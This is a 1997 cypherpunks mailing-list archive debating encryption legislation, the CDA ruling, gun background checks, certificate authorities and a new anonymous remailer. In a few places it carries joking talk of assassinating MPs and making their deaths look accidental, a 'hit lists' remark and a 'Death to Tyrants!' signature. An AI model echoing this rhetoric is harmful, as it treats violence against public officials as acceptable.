>     Security employees who sold personal information to 
>     outsiders. I've also seen too much evidence that governments 
>     tend to abuse liberties when they have too much power--and 
>     the McCain-Kerrey bill would allow virtually anyone at any 
>     level of law enforcement to have access to private 
>     information on the flimsiest pretext, not even requiring a 
>     court order.

This is starting to sound like the beginnings of a Martial State. Slowly 
control the population in every aspect of their lives and when you have 
enough control, who's gonna fight you when you really start cracking the 
whip? If you control everything that affects their lives, NO ONE! 
Control their economy, their privacy, their children, and you control 
them. Even better, get them to help you in the names of their children, 
their rights, and make them feel like thy are in greatr danger that they 
actually are and they'll just hand you the reins!  Hmmmmmm... doesn't 
this sound like our current situation??


>     Kerrey's participation in this latest travesty is sad. He 
>     needs no lessons in courage. He lost part of a leg in 
>     Vietnam. Later, as he stood up to the know-nothings who would 
>     ban flag-burning, he noted that our strength comes partly 
>     from our ability to express ourselves even in ways that 
>     offend many others. Now, however, Kerrey is aligning himself    >     
with a much more dangerous crowd of know-nothings: those who'd > >    
ban our right to keep private information private. He may believe >    
this is about finding common ground; if so, someone has fed him 
>     falsehoods. His proposal, if enacted, would create the worst 
>     invasion of our fundamental liberty in many decades.

How many times have we watched the better part of valiant, couragous, 
and honorable men and women be seduced by power, greed, corruption, and 
just plain old not thinking straight?

>       If you care even slightly about your privacy in the future, 
>     pick up a pen today and write your Senators and member of the 
>     House of Representatives. Tell them to reject the Clinton-
>     McCain-Kerrey approach. Tell them you value your privacy and 
>     won't give it up without a fight. And remind them that you 
>     vote.

Yes, we vote. Yes, we care. Yes, WE WILL FIGHT!!!  


===========================================================
Though referenced by it's government, a country is defined 
by it's people. For it is not it's government that makes a 
country, but it's people. The government is just a place to 
put the useless. :-)   God does have a sense of humor.... 
He forgave our sins, and gave us government for penance! 
-----------------------------------------------------------

Type Bits/KeyID    Date       User ID
pub  2048/1D9A78C1 1997/06/11 Case@EarthCorp.com

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---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Fri, 27 Jun 1997 20:30:07 +0800
To: nicol@highway1.com.au
Subject: Re: Flag Burning...
Message-ID: <199706271220.FAA18706@f61.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



> Obviously not. And 
>> before ya ask what that has to do with it, let me just say now...
>> It's like riding a Harley, if we have to explain it to you, you 
wouldn't 
>> understand.
>
>That, my friend, is pissweak.  "I understand, but you CANT because I 
>am better than you . . . "  Get a life, learn to communicate 
>effectively.  
>
>
>
>
>Neter Picol
>Global Media Magnet
>godhead@vrl.com.au
>
>"Two daughters of a silk merchant live it Kyoto,
>The elder is twenty, the younger, eighteen.
>A soldier may kill with his sword,
>But these girls slay men with their eyes."
=================================================================

THAT, my friend, just ended ANY chance of coomunication between the two 
of us. When you start thinking you are better than someone else, you 
have stepped over the line.  BTW, the spelling for dood is D U D E! 
Learn to spell before you start thinking you're better than anyone else. 
Baby steps, baby steps! And as to the imperialist comment. Give it a 
rest, folks have been saying that for years. Ever heard of dancing to 
your OWN beat. Give the badwagon some room. Too many on it as it is now. 
And as for me getting a life. I have one. I live in America! :-)

===========================================================
Though referenced by it's government, a country is defined 
by it's people. For it is not it's government that makes a 
country, but it's people. The government is just a place to 
put the useless. :-)   God does have a sense of humor.... 
He forgave our sins, and gave us government for penance! 
-----------------------------------------------------------

Type Bits/KeyID    Date       User ID
pub  2048/1D9A78C1 1997/06/11 Case@EarthCorp.com

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---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "hs" <hs@technologist.com>
Date: Fri, 27 Jun 1997 13:16:09 +0800
To: "cypherpunks@toad.com>
Subject: No Subject
Message-ID: <199706270459.AAA15625@ren.globecomm.net>
MIME-Version: 1.0
Content-Type: text/plain









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 27 Jun 1997 22:36:00 +0800
To: cypherpunks@toad.com
Subject: All Tomorrow's Parties -- CDA II -- from the Netly News
Message-ID: <Pine.GSO.3.95.970627071621.24915C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Fri, 27 Jun 1997 07:15:50 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship@vorlon.mit.edu
Subject: All Tomorrow's Parties -- CDA II -- from the Netly News



http://cgi.pathfinder.com/netly/opinion/0,1042,1113,00.html

The Netly News
June 26, 1997

All Tomorrow's Parties
by Team Netly (thenetlynews@pathfinder.com)

The fun-loving "trolls" of Bianca's Smut Shack
celebrated today's Communications Decency Act
ruling by sleeping in. Christopher Miller and
David Thau stumbled awake at 10:10 am today,
just in time to read the decision that said it
was legal to post "indecent" material on your
web site -- something clearly important to the
Biancanauts, who are travelling cross-country in
a psychedelic RV commemorating the summer of
love.

"It's kind of weird to celebrate the overturning
of something that's clearly unconstitutional,
but of course we have something to celebrate
because it's going to keep us from jail," said
Thau.

The celebration may be premature. The CDA II,
after all, is expected to crawl out of the grave
like a flesh-dripping zombie. But you'd never
know it from the high-bandwidth rhetoric that
flooded the Net today after the Supreme Court
decision.

The Electronic Privacy Information Center cried
that "today's opinion defines the First
Amendment for the next century." Histrionics
also were flying furiously around San
Francisco's South Park, where the faithful
rallied. "The Internet freedom fighters are as
strong as the students at Tiananmen Square,"
said the Electronic Frontier Foundation's Mike
Godwin -- to a crowd composed almost entirely of
journalists. "Today is the first day of the new
American Revolution, the Digital Revolution.."
(A phrase that happens to be trademarked by
Wired, a sponsor of the rally.)

The victorious shouts of the way-new stalwarts
were matched by the angry screams of the
censor-happy CDA supporters. "The safety net is
gone," says Donna Rice-Hughes, communication
director for Enough Is Enough. "There is no law
against an adult sending a naked picture of
himself to a child over the Internet or through
e-mail."

If Rice-Hughes has her way, the high court's
decision to drive a stake through the heart of
the much-reviled law will mean the threat to
free speech online has expired only for a while.

"Frankly, this ruling provides a road map on how
to more specfically draft legislation," says
Heidi Stirrup, director of government relations
for the Christian Coalition. "Our beleaguered
American family has been put on notice by the
Court that it will do nothing to help the family
even when the president and Congress work
together against a problem that everyone says is
bad -- providing indecent material to children."

This isn't entirely true. The ruling -- which
talked of "vast democratic fora" online -- does
not mean that the Internet is now a free-speech
zone where anything goes. After all, the CDA
only restricted "indecent" materials, an
undefined category that could include art,
literature, even humor and sex ed. materials.
Distributing obscenity -- sexual works without
"redeeming value" -- will remain a crime. The
Court noted this in its ruling today:
"Transmitting obscenity and child pornography,
whether via the Internet or other means, is
already illegal under federal law for both
adults and juveniles."

President Clinton, who endorsed the act, also
vowed not to give up. "We can and must develop a
solution for the Internet that is as powerful
for the computer as the v-chip will be for the
television, and that protects children in ways
that are consistent with America's free speech
values," he said.

"We're certainly going to support Congress'
efforts to develop another bill to protect kids.
They're not going to stop and we're going to
help them to do it," says Bruce Taylor,
president of the National Law Center for
Children and Families.

Taylor predicts that a CDA II might stress
labelling all your web pages with PICS or RSACi
if you want to stay out of jail: "Remember I
told you nobody's going to do PICS? It's a
monster nobody wants to feed. Who's going to
rate 10 zillion web sites?"

Well, nobody -- unless you force people to use
it.

Which is what some members of Congress are
trying. Sen. Patty Murray (D-Wash.) is preparing
to introduce a bill that will try to convince a
dubious public to rate its pages with RSACi, a
self-rating system backed by Microsoft. (A
company which, just coincidentally, is
headquartered in her state.) Nevermind that even
MSNBC stopped ratings its pages with RSACi
because the system proved unworkable for news
sites.

Murray's proposed bill, called the "Childsafe
Internet Act of 1997," says someone who
"includes a rating" on their site "may not be
held liable" for "any material on the site that
is unsuitable for minors." That's the carrot.

Then the stick: you can't post material
"unsuitable for minors" on a site that's rated
for kids. "Whoever accesses a site on the
Internet rated by the person establishing the
site as having no material unsuitable for minors
and knowingly makes available on or through the
site any comment, request, suggestion, proposal,
image, or other material unsuitable for minors,
shall be imprisoned... for not more than two
years," the bill says.

The constitutionality of such legislation was
affirmed in today's minority opinion of Justices
O'Connor and Rehnquist, in which they talk of
"zoning laws" for the Internet. Real world
zoning laws are what keep children out of porno
stores and require buildings to be
wheelchair-accessible. These laws passed
constitutional muster long ago, and the
underlying intent of the CDA was largely to
shield minors from indecent material. Trouble
is, Internet technology isn't yet capable of
ensuring the existence of adult-only zones. Yet.

Thus argued O'Connor: "Until gateway technology
is available throughout cyberspace, and it is
not in 1997, a speaker cannot be reasonably
assured that the speech he displays will reach
only adults because it is impossible to confine
speech to an 'adult zone.'"

What all this means is Congressional attempts to
pass another law to muzzle the Net won't need to
be a flat ban on "indecency." Rather, they'll
rely on PICS and RSACi. (Ironically, a
technology designed to head off the CDA might be
the linchpin of CDA II.) Next month President
Clinton plans to meet with industry leaders in
much the same way he met with broadcast
executives last year and came up with a V-Chip.
His goal this time: to do the same for the Net.

Meanwhile, slap-happy netizens will probably
still be partying down -- the D.C.-based CIEC
folks are hanging out in the 18th Street Lounge
right now -- basking in the high court's warm
and fuzzy afterglow, and happily smoking a bowl
of their own rhetoric.

###








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 28 Jun 1997 00:47:04 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Rep. Lofgren on McCain/Kerrey (good. long.)
In-Reply-To: <3.0.32.19970626233120.006c04f4@best.com>
Message-ID: <v0310280aafd99b7a9d15@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




I also applaud what my local Congresscritterwoman says, and especially her
quotation of the Dan Gillmor column from the local Silicon Valley
newspaper. I saw this colum several days ago and was impressed, especially
by the quote I include below.

At 11:33 PM -0700 6/26/97, geeman@best.com wrote:
>[Congressional Record: June 25, 1997 (Extensions)]
>[Page E1320]
>>From the Congressional Record Online via GPO Access [wais.access.gpo.gov]
...
>  Ms. LOFGREN. Mr. Speaker, last week the Senate Commerce Committee
>reported a bill, S. 909, sponsored by Senators McCain and Kerrey, which
...
>            [From the San Jose Mercury News, June 23, 1997]
>
>          Encryption Bill: Federal Exercise in Self-Deception
>
>                            (By Dan Gillmor)
....
>       Governments are certain that bad people will use encryption
>     to help achieve bad ends. They're right. But their cure would
>     shred our basic liberties.

This is the point I make to people who ask about the "bad" things crypto
will make possible. I say "Of course it will."

Then I go on to cite the same "bad" things that curtains on windows make
possible, that locks on doors make possible, that private hotel rooms make
possible, that whispers make possible, and that privacy in general makes
possible.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 28 Jun 1997 01:04:33 +0800
To: cypherpunks@toad.com
Subject: "Wired" is trademarking the future?
In-Reply-To: <Pine.GSO.3.95.970627071621.24915C-100000@well.com>
Message-ID: <v0310280bafd99e263da7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:16 AM -0700 6/27/97, Declan McCullagh wrote:

>journalists. "Today is the first day of the new
>American Revolution, the Digital Revolution.."
>(A phrase that happens to be trademarked by
>Wired, a sponsor of the rally.)

I really hope Declan is kidding when he says this phrase, or parts of it,
or some variant of it, is "trademarked" by "Wired." If so, we're in deep
shit.

(A phrase trademarked by the Nixon Administration, 1972.)

"Wired" seems increasingly to think it owns the birthright of the Net and
all that came from it.

I wonder if someone has claimed trademark on any of these expressions:

"Big Brother Inside"

"Four Horsemen of the Infocalypse"

"National borders are only speed bumps on the information superhighway"

"citizen-unit"

"BlackNet"

"crypto anarchy"


--Tim

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <billstewart@att.com>
Date: Sat, 28 Jun 1997 03:45:20 +0800
To: cypherpunks@toad.com
Subject: Interesting Supreme Court decision on Brady Bill at http://supct.law.cornell.edu/supct/html/95-1478.ZS.html
Message-ID: <33B4123C.41BB@att.com>
MIME-Version: 1.0
Content-Type: text/plain



http://supct.law.cornell.edu/supct/html/95-1478.ZS.html
A messy 5-4 decision, with two concurrences and three dissents.

Overturns the part of the Brady Bill that forces local officials
to perform some of the administrative functions.
Lots of complex commentary.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <nobody@secret.squirrel.owl.de>
Date: Fri, 27 Jun 1997 23:32:46 +0800
To: cypherpunks@toad.com
Subject: Re: Bomb Making Info to be Illegal
Message-ID: <19970627124927.25408.qmail@squirrel.owl.de>
MIME-Version: 1.0
Content-Type: text/plain




Paul Bradley <paul@fatmans.demon.co.uk> wrote:
>I think I 
>may, if I have some time in the next few days, put together a quick 
>website telling people the best fish to use etc. and inciting them to use 
>this as a method of assasinating MPs...

  Surely oranges would be a better choice for MPs? Hell, dress them
up in stockings and suspenders first and they'd probably write it off
as accidental death.

OrangeMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 28 Jun 1997 04:13:05 +0800
To: cypherpunks@Algebra.COM
Subject: NRA and National Online Records Check bullshit
In-Reply-To: <33B4123C.41BB@att.com>
Message-ID: <v0310280eafd9cb27d087@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 12:19 PM -0700 6/27/97, Bill Stewart wrote:
>http://supct.law.cornell.edu/supct/html/95-1478.ZS.html
>A messy 5-4 decision, with two concurrences and three dissents.
>
>Overturns the part of the Brady Bill that forces local officials
>to perform some of the administrative functions.
>Lots of complex commentary.

And Friends of Liberty (assuming that is not a trademarked property of
Wired , Explorers  of the Digital Frontier  and Cyberspace ) should not
be supporting the National Rifle Association proposal, either.

One of the reasons I quit the NRA was there strong support, indeed, their
strong lobbying for, a "national on-line records check." The idea is that
if Joe Blow purchases a gun in Skokie, Illinois, the computerized national
data base would flag that he's some sort of criminal, whether major or
minor, in some other state.

This national data base would undoubtedly be cross-indexed by SS numbers,
aliases, etc.

Partial data bases like this already exist, of course, a la the NCIC. This
would take us further in the direction of a national dossier system.

And the "while you wait" system, which would lead to, "Sorry, sir, your
application to purchase a handgun has been declined" sorts of events, also
means that vastly more people will be making queries of this system.

My solution is simple: no checks whatsoever. If someone commits a crime,
lock him or her up or shoot them, or whatever. But once the penalty is
over, all normal rights return. The right to vote, the right to free
speech, the right to own weapons, etc.

(Somehow most people think it's OK that convicted felons lose their rights
to vote and to have guns. (Once they're released, of course.) Do they think
convicted felons no longer have religious freedom? Can no longer write as
they wish? Jeesh.)

The National Rifle Association has become a den of statist compromisers. It
should be added to any hit lists.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan <alano@teleport.com>
Date: Sat, 28 Jun 1997 04:32:45 +0800
To: Tim May <tcmay@got.net>
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <v0310280eafd9cb27d087@[207.167.93.63]>
Message-ID: <Pine.GSO.3.96.970627131625.22839D-100000@linda.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 27 Jun 1997, Tim May wrote:

> This national data base would undoubtedly be cross-indexed by SS numbers,
> aliases, etc.
> 
> Partial data bases like this already exist, of course, a la the NCIC. This
> would take us further in the direction of a national dossier system.
> 
> And the "while you wait" system, which would lead to, "Sorry, sir, your
> application to purchase a handgun has been declined" sorts of events, also
> means that vastly more people will be making queries of this system.

I expect it will be extended further on down the line.  "Hold on a for a
few minutes.  We seem to be having some problem with your records check."
Meanwhile, the local/state/federal/illuminati are on their way to
apprehend the miscreant.

> My solution is simple: no checks whatsoever.

I agree.  Guns should be paid for in cash.

> If someone commits a crime,
> lock him or her up or shoot them, or whatever. But once the penalty is
> over, all normal rights return. The right to vote, the right to free
> speech, the right to own weapons, etc.
> 
> (Somehow most people think it's OK that convicted felons lose their rights
> to vote and to have guns. (Once they're released, of course.) Do they think
> convicted felons no longer have religious freedom? Can no longer write as
> they wish? Jeesh.)

I find it interesting that they find the right to vote as dangerous as the
right to own a gun.  

"If owning a gun could change the system, it would be outlawed."

alano@teleport.com | "Those who are without history are doomed to retype it."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Sat, 28 Jun 1997 04:42:58 +0800
To: pooh@efga.org
Subject: Re: Secure Authentication
In-Reply-To: <3.0.2.32.19970627134844.03400910@mail.atl.bellsouth.net>
Message-ID: <199706272026.NAA07580@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain



Robert A. Costner writes:
> Electronic Frontiers Georgia is forming a working group on Secure
> Authentication Methodologies.  This is the procedure for verifying who really
> owns the public key that has been placed in a database repository, or
> Certification Authority (CA).  Issues at question are not only the technical
> considerations, but also concerns of privacy, consumer protection, and
> legality.  Questions have arisen as to whether to use picture ID, notary
> publics, existing databases, and governments to enforce secure
> authentication.  Another question that has been raised is secure
> authentication possible at all?

And another question is should government be involved at all?
My answer to that is no, not for the setting of CA policy.

It should be up to the CA, as published in their policy, what
authentication if any they perform in order to issue a certificate.
There is a need for certificates that are closely tied to someone's True Name
and there is a need for certificates that do nothing except verify
that a given email address is unique in that CA's list.

I would oppose any laws that require a certain level of
"secure authentication" of CAs.  Especially since, as your question
hints, there IS no secure authentication available to all citizens-
drivers licenses and birth certificates and Social Security cards
are all readily forged.  All authentication is relative.

I would not be opposed to laws that penalized a CA for breaking
the terms of its published policy.  However I expect that existing
contract law would cover that, since the policy is essentially a
contract between the CA and the cert issuee.

The biggest problem with CAs and the law is legal liability.  The liability
of being a CA is currently unknown until there is case law on the topic.
I think that one way of looking at CA liability would be to consider it
to be similar to an insurance policy with a limited maximum liability.
A CA who issued low-assurance unique email address certificates might
limit its liability to $10, whereas a CA who issued a high-assurance
37-forms-of-ID-and-a-retina-scan True Name certificate might limit
its liability to $100M (or maybe unlimited).  These liability limits
would of course have to be stated in the CAs policy.

Being able to limit liability on their own would allow the market
to choose how much assurance a certificate for a given transaction needs.
For CAs, it would allow them to insure themselves.
It would be trivial to add an 'assurance' field to standard X.509
certificates so parties to a transaction wouldn't need to read
the CAs policy statement to learn how much a given certificate was 'worth', 
i.e. how far the CA is prepared to back it.


-- 
                   Eric Murray  ericm@lne.com 
  Network security and encryption consulting.    PGP keyid:E03F65E5 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Robert A. Costner" <pooh@efga.org>
Date: Sat, 28 Jun 1997 02:06:32 +0800
To: cypherpunks@toad.com
Subject: Secure Authentication
In-Reply-To: <Pine.GSO.3.95.970627071621.24915C-100000@well.com>
Message-ID: <3.0.2.32.19970627134844.03400910@mail.atl.bellsouth.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Electronic Frontiers Georgia is forming a working group on Secure 
Authentication Methodologies.  This is the procedure for verifying who really 
owns the public key that has been placed in a database repository, or 
Certification Authority (CA).  Issues at question are not only the technical 
considerations, but also concerns of privacy, consumer protection, and 
legality.  Questions have arisen as to whether to use picture ID, notary 
publics, existing databases, and governments to enforce secure 
authentication.  Another question that has been raised is secure 
authentication possible at all?

Also explored will be hierarchical vs web of trust models for CA's.

The first working group meeting will be held at Georgia State University Law 
School at Professor Mark Budnitz offices.  Since many people who would like 
to be involved in this subject cannot attend physical meetings, this is a 
call to participate electronically.

If you have an interest in being involved with this group, please contact 
Robert Costner, EFGA (770) 512-8746, mailto:pooh@efga.org




-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQBVAwUBM7P8+EGpGhRXg5NZAQHWJAH+PzVT10ZZCSxis1aMuyL3rEyTxuuVHo55
qrg3FuAseI4wkDKRmFuGB+lmvIibE2MD0+0sbcR2HUOW3KrmfX2aJw==
=Msjd
-----END PGP SIGNATURE-----

  -- Robert Costner                  Phone: (770) 512-8746
     Electronic Frontiers Georgia    mailto:pooh@efga.org  
     http://www.efga.org/            run PGP 5.0 for my public key





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <remailer@bureau42.ml.org>
Date: Sat, 28 Jun 1997 03:13:45 +0800
To: cypherpunks@cyberpass.net
Subject: No Subject
Message-ID: <199706271903.OAA09850@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



(Special note: this new remailer is destination-blocked for the Cypherpunks
list, in all known incarnations.  It's noisy enough without this contribution
:) 

Bureau 42 Enterprises is proud to announce a new remailer!

remailer@bureau42.ml.org supports both Type-I and Mixmaster messages.

$remailer{"bureau42"} = "<remailer@bureau42.ml.org>" cpunk pgp hash latent cut mix

Be aware: The remailer is running on the slow end of a UUCP link.
There _will_ be latency.  Lots of it.

Here's the keys.  People in charge, please add these to the relevant lists.

bureau42 remailer@bureau42.ml.org 684d5ea06f1d2a46c45e55eb9758cf61 2.0.3

-----Begin Mix Key-----
684d5ea06f1d2a46c45e55eb9758cf61
258
AAS8YXDO/ZtBIdeFfCbQBdXYJvzYXO1WkUgExMa+
brxMUiI6UC89ZF+zjSYbPsOHaSSD/ljIBde46Dg2
L076Klarxl28BP3VtIdHDfs64X+CfxulJjORWIhi
FTG3NWa7gIs2OADgcUSzy4/UGN0FqhsAT0skFWUw
DQ+SSfJbLrhz6QAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAQAB
-----End Mix Key-----

Here is the PGP Public Key for bureau42 Anonymous Remailer

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzNw0EkAAAEEAOdhlFnWook3MO3QoB2isVgJXMfauV2A5CKgfd09P7VGccP7
Z27HuI2LSMd23fcGe0uVLxYFMvOUCRgLoXYeqXLUEX6eHPIFtd7B3FkfR03Aj+GT
PfmTupqp4Wc5cODDuXOe6Y0x30QffuX3BjNfSvEa2iniLer5ac5Daand9AJhAAUR
tDZidXJlYXU0MiBBbm9ueW1vdXMgUmVtYWlsZXIgPHJlbWFpbGVyQGJ1cmVhdTQy
Lm1sLm9yZz6JAJUDBRAzcNC2zkNpqd30AmEBAQw4A/9OFw6t3x2BhDSNEBLD78rl
SfZsReDpF1yt0t+MQ0yNyaTciByDPtw+9tL9L+X9Gm0FAri6t+uelqaK4XR71POD
8VyCylWHkWHDfY8N53pJt8VV8LL4NcR3Go8tBVbo37BSuRDPbFyBAvy4EH3UbRI4
eYIKOcBsHlgSP2R7aFhCuw==
=sN96
-----END PGP PUBLIC KEY BLOCK-----









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <enoch@zipcon.net>
Date: Sat, 28 Jun 1997 05:13:09 +0800
To: cypherpunks@cyberpass.net
Subject: "Tin Drum" Obscene in Oklahoma
Message-ID: <199706272105.OAA25497@zipcon.net>
MIME-Version: 1.0
Content-Type: text/plain



It used to be that mainstream motion pictures were territory
child porn hysterics didn't go near, for fear of losing high
profile cases and creating case law detrimental to their cause.

Yet, as the creeping definition of child porn has moved to
include fully clothed children, and any simulated depiction of
the sexuality of minors, it was inevitable that the child porn
hysterics would finally feel powerful enough turn their crusade
towards award winning motion pictures containing ideas that Bible
thumpers and their ilk would rather not have available to the
masses.

It is therefore no huge surprise that an Ohlahoma Judge has ruled
that the Oscar-winning film "Tin Drum" is obscene, and contains
scenes that constitute child pornography.  Police have seized
videos of the movie from libraries and video stores, and have
gone to the homes of people who rented the film to seize the
tapes.

The Oklahoma ACLU director has called the action "Gestapo-type
tactics" and vows to fight the ruling in court.

Should be Mapplethorpe all over again.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch@zipcon.com   $    via Finger                       $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Sat, 28 Jun 1997 05:21:39 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <33B4123C.41BB@att.com>
Message-ID: <3.0.2.32.19970627141340.0093ede0@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain



At 01:07 PM 6/27/97 -0700, Tim May wrote:
[...]
>The National Rifle Association has become a den of statist compromisers. It
>should be added to any hit lists.

Is anyone aware of a pro-second amendment organization which doesn't spend
some of its money/energy on screwing up other important amendments? (The
fourth, fifth, sixth, and eighth are popular targets.) 

And, while I'm off topic, here's another data point re why paying cash and
keeping one's home address private is always a good policy:

(from <www.cnn.com> a few minutes ago)

>>>>
OKLAHOMA CITY (AP) -- Michael Camfield had not even finished watching the
movie he had rented, "The Tin Drum," when police knocked on his front door
and demanded that he give them the Academy Award-winning foreign film.
<<<<

>>>>
"I got the strong impression that verbal resistance on my part was futile
and they were going to get that tape one way or another and arrest me if
they had to," said Camfield, development director for the American Civil
Liberties Union in Oklahoma.
<<<<

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sat, 28 Jun 1997 05:47:30 +0800
To: cypherpunks@Algebra.COM
Subject: Re: NRA and National Online Records Check bullshit
In-Reply-To: <v0310280eafd9cb27d087@[207.167.93.63]>
Message-ID: <v0310280fafd9e1ef2aa7@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 2:13 PM -0700 6/27/97, Greg Broiles wrote:
>At 01:07 PM 6/27/97 -0700, Tim May wrote:
>[...]
>>The National Rifle Association has become a den of statist compromisers. It
>>should be added to any hit lists.
>
>Is anyone aware of a pro-second amendment organization which doesn't spend
>some of its money/energy on screwing up other important amendments? (The
>fourth, fifth, sixth, and eighth are popular targets.)

The Libertarian Party.

It has strongly supported the Second Amendment, and has not, so far as I
know, tried to screw up any other of the important amendments.

My problem with it is that it is a political organization, and the
newsletters and local chapters are focussed on "inside baseball" of various
elections. And the California State Convention I attended some years back
was about the most boring thing I've ever been to.

I suspect the Cato Insitute is also Pro-Second without screwing with any of
the other good amendments.

As Greg knows well, of course, the ACLU is to avoided at all costs.

--Tim

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 28 Jun 1997 03:21:14 +0800
To: Tim May <tcmay@got.net>
Subject: Re: "Wired" is trademarking the future?
In-Reply-To: <Pine.GSO.3.95.970627071621.24915C-100000@well.com>
Message-ID: <v03007801afd9bd4d8676@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



Noah's story about Wired trademarking Digital Revolution (tm) is at:

  http://pathfinder.com/netly/editorial/0,1012,192,00.html

	"  Have our friends at Wired gone mad? We always thought the
	Digital Revolution was about freedom of information, erasing
	of boundaries, creating global community, throwing off the
	shackles of government and evoking a spirit of unfettered,
	bottom-up business and entrepreneurialism. Was this yet another
	case of lawyers running amok? Or was it pre- Initial Public
	Offering jitters on Wired's part?

-Declan


At 09:52 -0700 6/27/97, Tim May wrote:
>At 7:16 AM -0700 6/27/97, Declan McCullagh wrote:
>
>>journalists. "Today is the first day of the new
>>American Revolution, the Digital Revolution.."
>>(A phrase that happens to be trademarked by
>>Wired, a sponsor of the rally.)
>
>I really hope Declan is kidding when he says this phrase, or parts of it,
>or some variant of it, is "trademarked" by "Wired." If so, we're in deep
>shit.
>
>(A phrase trademarked by the Nixon Administration, 1972.)
>
>"Wired" seems increasingly to think it owns the birthright of the Net and
>all that came from it.
>
>I wonder if someone has claimed trademark on any of these expressions:
>
>"Big Brother Inside"
>
>"Four Horsemen of the Infocalypse"
>
>"National borders are only speed bumps on the information superhighway"
>
>"citizen-unit"
>
>"BlackNet"
>
>"crypto anarchy"
>
>
>--Tim
>
>There's something wrong when I'm a felon under an increasing number of laws.
>Only one response to the key grabbers is warranted: "Death to Tyrants!"
>---------:---------:---------:---------:---------:---------:---------:----
